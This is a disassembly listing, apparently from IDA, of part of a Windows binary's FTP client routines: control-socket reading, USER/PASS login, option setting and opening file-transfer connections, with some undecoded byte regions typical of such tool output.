loc_42C7F3:				; CODE XREF: ___:0042C7E6j
					; ___:0042C7EDj
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_42C810	proc near		; CODE XREF: sub_401A69j

var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_12		= word ptr  16h

		sub	esp, 14h
		mov	ecx, [esp+14h+arg_0]
		xor	eax, eax
		mov	[esp+14h+var_10], eax
		push	ebx
		push	ebp
		mov	[esp+1Ch+var_C], eax
		push	esi
		push	edi
		mov	[esp+24h+var_8], eax
		push	ecx
		mov	[esp+28h+var_14], 1
		mov	[esp+28h+var_4], eax
		mov	word ptr [esp+28h+var_10], 2
		nop
		call	near ptr 77C46125h
		mov	ebp, eax
		push	3Ah
		push	ebp
		nop
		call	near ptr 77C47660h
		mov	esi, eax
		xor	ebx, ebx
		add	esp, 0Ch
		cmp	esi, ebx
		jnz	short loc_42C884
		push	offset aTcp	; "tcp"
		push	offset aFtp	; "ftp"
		call	sub_436F96
; ---------------------------------------------------------------------------
		dd 6C75C33Bh, 44545868h, 0A57CE800h, 83907780h,	0C03304C4h
		dd 5B5D5E5Fh, 0C314C483h
; ---------------------------------------------------------------------------


loc_42C884:				; CODE XREF: sub_42C810+47j
		mov	[esi], bl
		mov	eax, dword_50FB14
		inc	esi
		cmp	dword ptr [eax], 1
		jle	short loc_42C8A2
		movsx	ecx, byte ptr [esi]
		push	4
		push	ecx
		nop
		call	near ptr 77C1C561h
		add	esp, 8
		jmp	short loc_42C8B2
; ---------------------------------------------------------------------------


loc_42C8A2:				; CODE XREF: sub_42C810+7Fj
		mov	eax, dword_50FA78
		movsx	edx, byte ptr [esi]
		mov	ecx, [eax]
		mov	al, [ecx+edx*2]
		and	eax, 4


loc_42C8B2:				; CODE XREF: sub_42C810+90j
		cmp	eax, ebx
		jz	short loc_42C8CD
		push	esi
		nop
		call	near ptr 77C1BF18h
		add	esp, 4
		push	eax
		call	sub_436F36
; ---------------------------------------------------------------------------
		mov	[esp+arg_12], ax
		jmp	short sub_42C8E1
; ---------------------------------------------------------------------------


loc_42C8CD:				; CODE XREF: sub_42C810+A4j
		push	offset aTcp	; "tcp"
		push	esi
		call	sub_436F96
sub_42C810	endp

; ---------------------------------------------------------------------------
		mov	dx, [eax+8]
		mov	[esp+16h], dx

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_42C8E1	proc near		; CODE XREF: sub_42C810+BBj
		push	ebp
		call	sub_436EF4
sub_42C8E1	endp

; ---------------------------------------------------------------------------
		cmp	eax, 0FFFFFFFFh
		mov	[esp+18h], eax
		jnz	short loc_42C92D
		push	ebp
		call	sub_436EE8
; ---------------------------------------------------------------------------
		dw 0C33Bh
		dd 48681875h, 0E8004454h, 7780A4EEh, 4C48390h, 5E5FC033h
		dd 0C4835B5Dh, 0BF0FC314h, 408B0A48h, 8DD18B0Ch, 8B18247Ch
		dd 2E9C130h, 0CA8BA5F3h, 0F303E183h
; ---------------------------------------------------------------------------
		movsb


loc_42C92D:				; CODE XREF: ___:0042C8EEj
		push	ebp
		mov	ebp, dword_50FAC4
		call	ebp	; free
		add	esp, 4
		push	6
		push	1
		push	2
		call	sub_436F3C
; ---------------------------------------------------------------------------
		dd 0FF83F88Bh, 681875FFh, 445440h, 0A49CE890h, 0C4837780h
		dd 5FC03304h, 835B5D5Eh, 8DC314C4h, 6A102444h, 46A5004h
		dd 0FFFF68h, 0DE85700h,	830000A6h, 775FFF8h, 44543068h
		dd 8D34EB00h, 6A14244Ch, 0E8575110h, 0A5B2h, 75FFF883h
		dd 52306807h, 1BEB0044h, 14468h, 90016A00h, 7FF71AE8h
		dd 83F08B77h, 0F33B08C4h, 28681E75h, 90004454h,	80A435E8h
		dd 4C48377h, 0A540E857h, 5E5F0000h, 5BC0335Dh, 0C314C483h
		dd 200068h, 2CE89000h, 83777FFAh, 0C33B04C4h, 75144689h
		dd 54286824h, 0E8900044h, 7780A402h, 5704C483h,	0A50DE8h
		dd 0D5FF5600h, 3304C483h, 5D5E5FC0h, 14C4835Bh,	326A56C3h
		dd 89087E89h, 5E89185Eh, 2446C71Ch, 1, 89305E89h, 5E892C5Eh
		dd 345E8928h, 89385E89h, 5E89405Eh, 0DAE83Ch, 0C4830000h
		dd 75C08508h, 0C3E8571Ch, 8B0000A4h, 0FF521456h, 0D5FF56D5h
		dd 3308C483h, 5D5E5FC0h, 14C4835Bh, 24448BC3h, 30895F2Ch
		dd 1B85D5Eh, 5B000000h,	0C314C483h, 90909090h, 28h dup(0CCCCCCCCh)

; =============== S U B	R O U T	I N E =======================================



sub_42CB10	proc near		; CODE XREF: ___:0042D266p
					; sub_42DFD0+70p

var_8		= byte ptr -8
var_5		= byte ptr -5
var_4		= byte ptr -4
arg_0		= byte ptr  4
arg_4		= dword	ptr  8

		sub	esp, 8
		push	ebx
		push	ebp
		push	esi
		push	edi
		mov	edi, [esp+18h+arg_4]
		push	edi
		push	100h
		lea	esi, [edi+44h]
		push	esi
		call	sub_42CC50
		add	esp, 0Ch
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_42CB4A


loc_42CB32:				; CODE XREF: sub_42CB10+8Ej
					; sub_42CB10+D9j
		push	offset aControlSocketR ; "Control socket read failed"
		nop
		call	near ptr 77C36DF2h
		add	esp, 4
		xor	eax, eax
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 8
		retn
; ---------------------------------------------------------------------------


loc_42CB4A:				; CODE XREF: sub_42CB10+20j
		mov	eax, dword_50E3CC
		mov	ebx, dword_50FA80
		cmp	eax, 1
		jle	short loc_42CB6E
		mov	eax, dword_50FA84
		push	esi
		add	eax, 40h
		push	offset aS	; "%s"
		push	eax
		call	ebx	; fprintf
		add	esp, 0Ch


loc_42CB6E:				; CODE XREF: sub_42CB10+48j
		cmp	byte ptr [edi+47h], 2Dh
		jnz	short loc_42CBEE
		push	3
		lea	ecx, [esp+1Ch+var_8]
		push	esi
		push	ecx
		call	near ptr 77C47A90h
		nop
		push	edi
		push	100h
		push	esi
		mov	[esp+30h+var_5], 20h
		mov	[esp+30h+var_4], 0
		call	sub_42CC50
		add	esp, 18h
		cmp	eax, 0FFFFFFFFh
		jz	short loc_42CB32
		mov	ebp, dword_50FAD4


loc_42CBA6:				; CODE XREF: sub_42CB10+D7j
		cmp	dword_50E3CC, 1
		jle	short loc_42CBC4
		mov	edx, dword_50FA84
		push	esi
		add	edx, 40h
		push	offset aS	; "%s"
		push	edx
		call	ebx	; fprintf
		add	esp, 0Ch


loc_42CBC4:				; CODE XREF: sub_42CB10+9Dj
		lea	eax, [esp+18h+var_8]
		push	4
		push	eax
		push	esi
		call	ebp	; strncmp
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_42CBEE
		push	edi
		push	100h
		push	esi
		call	sub_42CC50
		add	esp, 0Ch
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_42CBA6
		jmp	loc_42CB32
; ---------------------------------------------------------------------------


loc_42CBEE:				; CODE XREF: sub_42CB10+62j
					; sub_42CB10+C3j
		mov	cl, [esi]
		mov	dl, [esp+18h+arg_0]
		xor	eax, eax
		pop	edi
		cmp	cl, dl
		pop	esi
		pop	ebp
		pop	ebx
		setz	al
		add	esp, 8
		retn
sub_42CB10	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 40h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_42CC50	proc near		; CODE XREF: sub_42CB10+15p
					; sub_42CB10+83p ...

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		sub	esp, 8
		push	ebx
		push	ebp
		mov	ebp, [esp+10h+arg_0]
		push	esi
		mov	esi, [esp+14h+arg_8]
		xor	ecx, ecx
		push	edi
		mov	[esp+18h+var_8], ecx
		mov	eax, [esi+18h]
		mov	[esp+18h+var_4], ecx
		cmp	eax, ecx
		jz	short loc_42CC80
		cmp	eax, 1
		jz	short loc_42CC80
		pop	edi
		pop	esi
		pop	ebp
		or	eax, 0FFFFFFFFh
		pop	ebx
		add	esp, 8
		retn
; ---------------------------------------------------------------------------


loc_42CC80:				; CODE XREF: sub_42CC50+1Ej
					; sub_42CC50+23j
		mov	ebx, [esp+18h+arg_4]
		cmp	ebx, ecx
		jnz	short loc_42CC92
		pop	edi
		pop	esi
		pop	ebp
		xor	eax, eax
		pop	ebx
		add	esp, 8
		retn
; ---------------------------------------------------------------------------


loc_42CC92:				; CODE XREF: sub_42CC50+36j
					; sub_42CC50+115j
		mov	edi, [esi+0Ch]
		test	edi, edi
		jle	short loc_42CCE3
		cmp	ebx, edi
		jge	short loc_42CCA0
		lea	edi, [ebx-1]


loc_42CCA0:				; CODE XREF: sub_42CC50+4Bj
		mov	eax, [esi+4]
		push	edi
		push	0Ah
		push	eax
		push	ebp
		call	near ptr 77C46170h
		nop
		add	esp, 10h
		test	eax, eax
		jz	short loc_42CCB9
		mov	edi, eax
		sub	edi, ebp


loc_42CCB9:				; CODE XREF: sub_42CC50+63j
		mov	edx, [esp+18h+var_8]
		add	ebp, edi
		add	edx, edi
		sub	ebx, edi
		mov	[esp+18h+var_8], edx
		mov	byte ptr [ebp+0], 0
		mov	ecx, [esi+4]
		mov	edx, [esi+0Ch]
		add	ecx, edi
		sub	edx, edi
		test	eax, eax
		mov	[esi+4], ecx
		mov	[esi+0Ch], edx
		jnz	loc_42CD6A


loc_42CCE3:				; CODE XREF: sub_42CC50+47j
		cmp	ebx, 1
		jz	loc_42CDBD
		mov	ecx, [esi]
		mov	eax, [esi+4]
		cmp	ecx, eax
		jnz	short loc_42CD0B
		mov	eax, [esi+14h]
		mov	dword ptr [esi+0Ch], 0
		mov	[esi+4], eax
		mov	[esi], eax
		mov	dword ptr [esi+10h], 2000h


loc_42CD0B:				; CODE XREF: sub_42CC50+A3j
		mov	eax, [esp+18h+var_4]
		test	eax, eax
		jnz	loc_42CDD0
		push	esi
		call	sub_42CE80
		add	esp, 4
		test	eax, eax
		jz	loc_42CE02
		mov	edx, [esi+10h]
		mov	eax, [esi]
		mov	ecx, [esi+8]
		push	0
		push	edx
		push	eax
		push	ecx
		call	sub_436EFA
; ---------------------------------------------------------------------------
		cmp	eax, 0FFFFFFFFh
		jz	loc_42CDEC
		test	eax, eax
		jnz	short loc_42CD4F
		mov	[esp+18h+var_4], 1


loc_42CD4F:				; CODE XREF: sub_42CC50+F5j
		mov	edi, [esi+10h]
		mov	edx, [esi+0Ch]
		mov	ecx, [esi]
		sub	edi, eax
		add	edx, eax
		add	ecx, eax
		mov	[esi+10h], edi
		mov	[esi+0Ch], edx
		mov	[esi], ecx
		jmp	loc_42CC92
; ---------------------------------------------------------------------------


loc_42CD6A:				; CODE XREF: sub_42CC50+8Dj
		sub	ebp, 2
		mov	esi, offset asc_445220 ; "\r\n"
		mov	eax, ebp


loc_42CD74:				; CODE XREF: sub_42CC50+146j
		mov	dl, [eax]
		mov	bl, [esi]
		mov	cl, dl
		cmp	dl, bl
		jnz	short loc_42CD9C
		test	cl, cl
		jz	short loc_42CD98
		mov	dl, [eax+1]
		mov	bl, [esi+1]
		mov	cl, dl
		cmp	dl, bl
		jnz	short loc_42CD9C
		add	eax, 2
		add	esi, 2
		test	cl, cl
		jnz	short loc_42CD74


loc_42CD98:				; CODE XREF: sub_42CC50+130j
		xor	eax, eax
		jmp	short loc_42CDA1
; ---------------------------------------------------------------------------


loc_42CD9C:				; CODE XREF: sub_42CC50+12Cj
					; sub_42CC50+13Cj
		sbb	eax, eax
		sbb	eax, 0FFFFFFFFh


loc_42CDA1:				; CODE XREF: sub_42CC50+14Aj
		test	eax, eax
		jnz	short loc_42CE02
		mov	byte ptr [ebp+0], 0Ah
		mov	[ebp+1], al
		mov	eax, [esp+18h+var_8]
		pop	edi
		dec	eax
		pop	esi
		pop	ebp
		mov	[esp+0Ch+var_8], eax
		pop	ebx
		add	esp, 8
		retn
; ---------------------------------------------------------------------------


loc_42CDBD:				; CODE XREF: sub_42CC50+96j
		mov	eax, [esp+18h+arg_0]
		pop	edi
		pop	esi
		pop	ebp
		mov	byte ptr [eax],	0
		mov	eax, [esp+0Ch+var_8]
		pop	ebx
		add	esp, 8
		retn
; ---------------------------------------------------------------------------


loc_42CDD0:				; CODE XREF: sub_42CC50+C1j
		mov	eax, [esp+18h+var_8]
		test	eax, eax
		jnz	short loc_42CE02
		pop	edi
		mov	[esp+14h+var_8], 0FFFFFFFFh
		mov	eax, [esp+14h+var_8]
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 8
		retn
; ---------------------------------------------------------------------------


loc_42CDEC:				; CODE XREF: sub_42CC50+EDj
		push	offset aRead	; "read"
		nop
		call	near ptr 77C36DF2h
		add	esp, 4
		mov	[esp+18h+var_8], 0FFFFFFFFh


loc_42CE02:				; CODE XREF: sub_42CC50+D2j
					; sub_42CC50+153j ...
		mov	eax, [esp+18h+var_8]
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 8
		retn
sub_42CC50	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 70h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_42CE80	proc near		; CODE XREF: sub_42CC50+C8p
					; sub_42DC70:loc_42DC9Dp ...

var_10C		= dword	ptr -10Ch
var_108		= dword	ptr -108h
var_104		= dword	ptr -104h
var_100		= dword	ptr -100h
arg_0		= dword	ptr  4

		sub	esp, 10Ch
		push	ebx
		push	ebp
		push	esi
		mov	esi, [esp+118h+arg_0]
		xor	ebx, ebx
		xor	ebp, ebp
		mov	eax, [esi+18h]
		test	eax, eax
		jz	loc_42CF63
		mov	ecx, [esi+30h]
		test	ecx, ecx
		jz	loc_42CF63
		cmp	eax, 2
		jnz	short loc_42CEB5
		lea	ebp, [esp+118h+var_104]
		jmp	short loc_42CEB9
; ---------------------------------------------------------------------------


loc_42CEB5:				; CODE XREF: sub_42CE80+2Dj
		lea	ebx, [esp+118h+var_104]


loc_42CEB9:				; CODE XREF: sub_42CE80+33j
		xor	eax, eax
		push	edi
		mov	[esp+11Ch+var_104], eax


loc_42CEC0:				; CODE XREF: sub_42CE80+98j
		cmp	eax, 40h
		jnb	short loc_42CED5
		mov	ecx, [esi+8]
		mov	[esp+eax*4+11Ch+var_100], ecx
		mov	eax, [esp+11Ch+var_104]
		inc	eax
		mov	[esp+11Ch+var_104], eax


loc_42CED5:				; CODE XREF: sub_42CE80+43j
		mov	edx, [esi+28h]
		mov	eax, [esi+2Ch]
		lea	ecx, [esp+11Ch+var_10C]
		mov	[esp+11Ch+var_10C], edx
		mov	edx, [esi+8]
		push	ecx
		push	0
		push	ebp
		inc	edx
		push	ebx
		push	edx
		mov	[esp+130h+var_108], eax
		call	sub_436F12
; ---------------------------------------------------------------------------
		cmp	eax, 0FFFFFFFFh
		jz	short loc_42CF1A
		test	eax, eax
		jg	short loc_42CF51
		mov	eax, [esi+34h]
		mov	ecx, [esi+38h]
		push	eax
		push	ecx
		push	esi
		call	dword ptr [esi+30h]
		mov	edi, eax
		add	esp, 0Ch
		test	edi, edi
		jz	short loc_42CF56
		mov	eax, [esp+11Ch+var_104]
		jmp	short loc_42CEC0
; ---------------------------------------------------------------------------


loc_42CF1A:				; CODE XREF: sub_42CE80+79j
		push	100h
		xor	edi, edi
		nop
		call	near ptr 77C1F2BCh
		mov	edx, [eax]
		push	edx
		nop
		call	near ptr 77C371FAh
		add	esp, 4
		push	eax
		mov	eax, [esi+1Ch]
		add	eax, 44h
		push	eax
		call	near ptr 77C47A90h
		nop
		add	esp, 0Ch
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 10Ch
		retn
; ---------------------------------------------------------------------------


loc_42CF51:				; CODE XREF: sub_42CE80+7Dj
		mov	edi, 1


loc_42CF56:				; CODE XREF: sub_42CE80+92j
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 10Ch
		retn
; ---------------------------------------------------------------------------


loc_42CF63:				; CODE XREF: sub_42CE80+19j
					; sub_42CE80+24j
		pop	esi
		pop	ebp
		mov	eax, 1
		pop	ebx
		add	esp, 10Ch
		retn
sub_42CE80	endp

; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 40h dup(0CCh)
; ---------------------------------------------------------------------------


loc_42CFC0:				; CODE XREF: ___:00401410j
		mov	eax, [esp+4]
		xor	ecx, ecx
		dec	eax
		cmp	eax, 4		; switch 5 cases
		ja	loc_42D06F	; default
		jmp	off_42D074[eax*4] ; switch jump


loc_42CFD7:				; DATA XREF: ___:off_42D074o
		mov	eax, [esp+8]	; jumptable 0042CFD0 case 0
		cmp	eax, 1
		jz	short loc_42CFE9
		cmp	eax, 2
		jnz	loc_42D06F	; default


loc_42CFE9:				; CODE XREF: ___:0042CFDEj
		mov	ecx, [esp+0Ch]
		mov	[ecx+24h], eax
		mov	ecx, 1
		mov	eax, ecx
		retn
; ---------------------------------------------------------------------------


loc_42CFF8:				; CODE XREF: ___:0042CFD0j
					; DATA XREF: ___:off_42D074o
		mov	edx, [esp+0Ch]	; jumptable 0042CFD0 case 1
		mov	eax, [esp+8]
		mov	ecx, 1
		mov	[edx+30h], eax
		mov	eax, ecx
		retn
; ---------------------------------------------------------------------------


loc_42D00B:				; CODE XREF: ___:0042CFD0j
					; DATA XREF: ___:off_42D074o
		push	esi		; jumptable 0042CFD0 case 2
		mov	esi, [esp+0Ch]
		mov	eax, 10624DD3h
		push	edi
		imul	esi
		mov	edi, [esp+14h]
		mov	ecx, 1
		sar	edx, 6
		mov	eax, edx
		shr	eax, 1Fh
		add	edx, eax
		mov	eax, esi
		mov	[edi+28h], edx
		mov	esi, 3E8h
		cdq
		idiv	esi
		lea	eax, [edx+edx*4]
		lea	eax, [eax+eax*4]
		lea	edx, [eax+eax*4]
		mov	eax, ecx
		shl	edx, 3
		mov	[edi+2Ch], edx
		pop	edi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_42D04C:				; CODE XREF: ___:0042CFD0j
					; DATA XREF: ___:off_42D074o
		mov	eax, [esp+0Ch]	; jumptable 0042CFD0 case 3
		mov	edx, [esp+8]
		mov	ecx, 1
		mov	[eax+34h], edx
		mov	eax, ecx
		retn
; ---------------------------------------------------------------------------


loc_42D05F:				; CODE XREF: ___:0042CFD0j
					; DATA XREF: ___:off_42D074o
		mov	eax, [esp+0Ch]	; jumptable 0042CFD0 case 4
		mov	edx, [esp+8]
		mov	ecx, 1
		mov	[eax+3Ch], edx


loc_42D06F:				; CODE XREF: ___:0042CFCAj
					; ___:0042CFE3j
		mov	eax, ecx	; default
		retn
; ---------------------------------------------------------------------------
		align 4
off_42D074	dd offset loc_42CFD7	; DATA XREF: ___:0042CFD0r
		dd offset loc_42CFF8	; jump table for switch	statement
		dd offset loc_42D00B
		dd offset loc_42D04C
		dd offset loc_42D05F
		db 8 dup(90h)
		db 40h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_42D0D0	proc near		; CODE XREF: sub_402243j

var_40		= byte ptr -40h
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		mov	edx, [esp+arg_0]
		sub	esp, 40h
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		push	ebx
		push	esi
		push	edi
		mov	edi, edx
		repne scasb
		not	ecx
		add	ecx, 6
		cmp	ecx, 40h
		ja	short loc_42D161
		mov	ebx, [esp+4Ch+arg_4]
		or	ecx, 0FFFFFFFFh
		mov	edi, ebx
		repne scasb
		not	ecx
		add	ecx, 6
		cmp	ecx, 40h
		ja	short loc_42D161
		mov	edi, dword_50FA60
		push	edx
		lea	eax, [esp+50h+var_40]
		push	offset aUserS	; "USER	%s"
		push	eax
		call	edi	; sprintf
		mov	esi, [esp+58h+arg_8]
		lea	ecx, [esp+58h+var_40]
		push	esi
		push	33h
		push	ecx
		call	sub_42D1A0
		add	esp, 18h
		test	eax, eax
		jnz	short loc_42D13D
		mov	cl, [esi+44h]
		pop	edi
		cmp	cl, 32h
		pop	esi
		setz	al
		pop	ebx
		add	esp, 40h
		retn
; ---------------------------------------------------------------------------


loc_42D13D:				; CODE XREF: sub_42D0D0+5Bj
		push	ebx
		lea	edx, [esp+50h+var_40]
		push	offset aPassS	; "PASS	%s"
		push	edx
		call	edi	; sprintf
		push	esi
		lea	eax, [esp+5Ch+var_40]
		push	32h
		push	eax
		call	sub_42D1A0
		add	esp, 18h
		pop	edi
		pop	esi
		pop	ebx
		add	esp, 40h
		retn
; ---------------------------------------------------------------------------


loc_42D161:				; CODE XREF: sub_42D0D0+1Bj
					; sub_42D0D0+30j
		pop	edi
		pop	esi
		xor	eax, eax
		pop	ebx
		add	esp, 40h
		retn
sub_42D0D0	endp

; ---------------------------------------------------------------------------
		db 6 dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_42D1A0	proc near		; CODE XREF: sub_42D0D0+51p
					; sub_42D0D0+82p ...

var_100		= byte ptr -100h
arg_0		= dword	ptr  4
arg_8		= dword	ptr  0Ch

		sub	esp, 100h
		push	ebx
		mov	ebx, [esp+104h+arg_8]
		push	esi
		push	edi
		mov	eax, [ebx+18h]
		test	eax, eax
		jz	short loc_42D1C3
		pop	edi
		pop	esi
		xor	eax, eax
		pop	ebx
		add	esp, 100h
		retn
; ---------------------------------------------------------------------------


loc_42D1C3:				; CODE XREF: sub_42D1A0+15j
		mov	eax, dword_50E3CC
		mov	esi, [esp+10Ch+arg_0]
		cmp	eax, 2
		jle	short loc_42D1EC
		mov	eax, dword_50FA84
		push	esi
		add	eax, 40h
		push	offset aS_0	; "%s\n"
		push	eax
		call	near ptr 77C40E13h
		nop
		add	esp, 0Ch


loc_42D1EC:				; CODE XREF: sub_42D1A0+32j
		mov	edi, esi
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		repne scasb
		not	ecx
		add	ecx, 2
		cmp	ecx, 100h
		jbe	short loc_42D20C
		pop	edi
		pop	esi
		pop	ebx
		add	esp, 100h
		retn
; ---------------------------------------------------------------------------


loc_42D20C:				; CODE XREF: sub_42D1A0+60j
		push	esi
		lea	ecx, [esp+110h+var_100]
		push	offset dword_443CD4
		push	ecx
		nop
		call	near ptr 77C3F931h
		lea	edi, [esp+118h+var_100]
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		add	esp, 0Ch
		repne scasb
		mov	eax, [ebx+8]
		push	0
		not	ecx
		dec	ecx
		lea	edx, [esp+110h+var_100]
		push	ecx
		push	edx
		push	eax
		call	sub_436F00
sub_42D1A0	endp

; ---------------------------------------------------------------------------
		db 85h
; ---------------------------------------------------------------------------
		sar	byte ptr [edi+1Ah], 68h
		lodsb
		push	esp
		inc	esp
		add	al, ch
		movsd
		wait
		xor	byte ptr [edi-70h], 83h
		les	eax, [ebx+esi]
		rcr	byte ptr [edi+5Eh], 5Bh
		add	esp, 100h
		retn
; ---------------------------------------------------------------------------
		mov	ecx, [esp+114h]
		push	ebx
		push	ecx
		call	sub_42CB10
		add	esp, 8
		pop	edi
		pop	esi
		pop	ebx
		add	esp, 100h
		retn
; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 40h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_42D2C0	proc near		; CODE XREF: sub_401F55j

var_100		= dword	ptr -100h
var_FC		= byte ptr -0FCh
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h
arg_10		= dword	ptr  14h

		sub	esp, 100h
		push	ebx
		push	ebp
		push	esi
		mov	esi, [esp+10Ch+arg_0]
		push	edi
		mov	edi, [esp+110h+arg_4]
		test	esi, esi
		jnz	short loc_42D30C
		cmp	edi, 4
		jz	short loc_42D2E6
		cmp	edi, 3
		jnz	short loc_42D30C


loc_42D2E6:				; CODE XREF: sub_42D2C0+1Fj
		mov	eax, [esp+110h+arg_C]
		push	offset aMissingPathArg ; "Missing path argument	for file transfer"...
		add	eax, 44h
		push	eax
		nop
		call	near ptr 77C3F931h
		add	esp, 8
		xor	eax, eax
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 100h
		retn
; ---------------------------------------------------------------------------


loc_42D30C:				; CODE XREF: sub_42D2C0+1Aj
					; sub_42D2C0+24j
		mov	ecx, [esp+110h+arg_8]
		mov	ebp, dword_50FA60
		push	ecx
		lea	edx, [esp+114h+var_100]
		push	offset dword_4454F4
		push	edx
		call	ebp	; sprintf
		mov	ebx, [esp+11Ch+arg_C]
		lea	eax, [esp+11Ch+var_100]
		push	ebx
		push	32h
		push	eax
		call	sub_42D1A0
		add	esp, 18h
		test	eax, eax
		jz	loc_42D4CE
		lea	eax, [edi-1]	; switch 4 cases
		cmp	eax, 3
		ja	loc_42D4BF	; default
		jmp	off_42D4DC[eax*4] ; switch jump


loc_42D358:				; DATA XREF: ___:off_42D4DCo
		mov	ecx, dword_4454EC ; jumptable 0042D351 case 1
		mov	dl, byte_4454F0
		mov	[esp+110h+var_100], ecx
		mov	[esp+110h+var_FC], dl
		mov	ebp, 1
		jmp	short loc_42D3C0
; ---------------------------------------------------------------------------


loc_42D373:				; CODE XREF: sub_42D2C0+91j
					; DATA XREF: ___:off_42D4DCo
		mov	eax, dword_4454E4 ; jumptable 0042D351 case 2
		mov	cl, byte_4454E8
		mov	[esp+110h+var_100], eax
		mov	[esp+110h+var_FC], cl
		mov	ebp, 1
		jmp	short loc_42D3C0
; ---------------------------------------------------------------------------


loc_42D38D:				; CODE XREF: sub_42D2C0+91j
					; DATA XREF: ___:off_42D4DCo
		mov	edx, dword_4454DC ; jumptable 0042D351 case 3
		mov	al, byte_4454E0
		mov	[esp+110h+var_100], edx
		mov	[esp+110h+var_FC], al
		mov	ebp, 1
		jmp	short loc_42D3C0
; ---------------------------------------------------------------------------


loc_42D3A7:				; CODE XREF: sub_42D2C0+91j
					; DATA XREF: ___:off_42D4DCo
		mov	ecx, dword_4454D4 ; jumptable 0042D351 case 4
		mov	dl, byte_4454D8
		mov	[esp+110h+var_100], ecx
		mov	[esp+110h+var_FC], dl
		mov	ebp, 2


loc_42D3C0:				; CODE XREF: sub_42D2C0+B1j
					; sub_42D2C0+CBj ...
		test	esi, esi
		jz	short loc_42D413
		lea	edi, [esp+110h+var_100]
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		repne scasb
		not	ecx
		dec	ecx
		mov	edi, esi
		mov	edx, ecx
		or	ecx, 0FFFFFFFFh
		mov	byte ptr [esp+edx+110h+var_100], 20h
		inc	edx
		repne scasb
		not	ecx
		dec	ecx
		add	ecx, edx
		cmp	ecx, 100h
		jnb	loc_42D4CE
		mov	edi, esi
		or	ecx, 0FFFFFFFFh
		repne scasb
		not	ecx
		sub	edi, ecx
		lea	edx, [esp+edx+110h+var_100]
		mov	eax, ecx
		mov	esi, edi
		mov	edi, edx
		shr	ecx, 2
		rep movsd
		mov	ecx, eax
		and	ecx, 3
		rep movsb


loc_42D413:				; CODE XREF: sub_42D2C0+102j
		mov	ecx, [esp+110h+arg_8]
		mov	esi, [esp+110h+arg_10]
		push	ebp
		push	ecx
		push	esi
		push	ebx
		call	sub_42D580
		add	esp, 10h
		cmp	eax, 0FFFFFFFFh
		jz	loc_42D4CE
		push	ebx
		lea	edx, [esp+114h+var_100]
		push	31h
		push	edx
		call	sub_42D1A0
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_42D468
		mov	eax, [esi]
		push	eax
		call	sub_401BDB
		add	esp, 4
		mov	dword ptr [esi], 0
		xor	eax, eax
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 100h
		retn
; ---------------------------------------------------------------------------


loc_42D468:				; CODE XREF: sub_42D2C0+188j
		mov	ecx, [esi]
		mov	[ecx+1Ch], ebx
		mov	eax, [ebx+24h]
		mov	edx, [esi]
		cmp	eax, 2
		mov	[ebx+20h], edx
		jnz	short loc_42D4AF
		mov	eax, [esi]
		push	ebx
		push	eax
		call	sub_42DA60
; ---------------------------------------------------------------------------
		add	esp, 8
		test	eax, eax
		jnz	short loc_42D4AF
		mov	ecx, [esi]
		push	ecx
		call	sub_401BDB
		add	esp, 4
		mov	dword ptr [esi], 0
		mov	dword ptr [ebx+20h], 0
		xor	eax, eax
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 100h
		retn
; ---------------------------------------------------------------------------


loc_42D4AF:				; CODE XREF: sub_42D2C0+1B8j
					; sub_42D2C0+1C8j
		pop	edi
		pop	esi
		pop	ebp
		mov	eax, 1
		pop	ebx
		add	esp, 100h
		retn
; ---------------------------------------------------------------------------


loc_42D4BF:				; CODE XREF: sub_42D2C0+8Bj
		push	edi		; default
		add	ebx, 44h
		push	offset aInvalidOpenTyp ; "Invalid open type %d\n"
		push	ebx
		call	ebp	; sprintf
		add	esp, 0Ch


loc_42D4CE:				; CODE XREF: sub_42D2C0+7Fj
					; sub_42D2C0+12Cj ...
		pop	edi
		pop	esi
		pop	ebp
		xor	eax, eax
		pop	ebx
		add	esp, 100h
		retn
sub_42D2C0	endp

; ---------------------------------------------------------------------------
		align 4
off_42D4DC	dd offset loc_42D358	; DATA XREF: sub_42D2C0+91r
		dd offset loc_42D373	; jump table for switch	statement
		dd offset loc_42D38D
		dd offset loc_42D3A7
		db 4 dup(90h)
		db 90h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_42D580	proc near		; CODE XREF: sub_42D2C0+165p

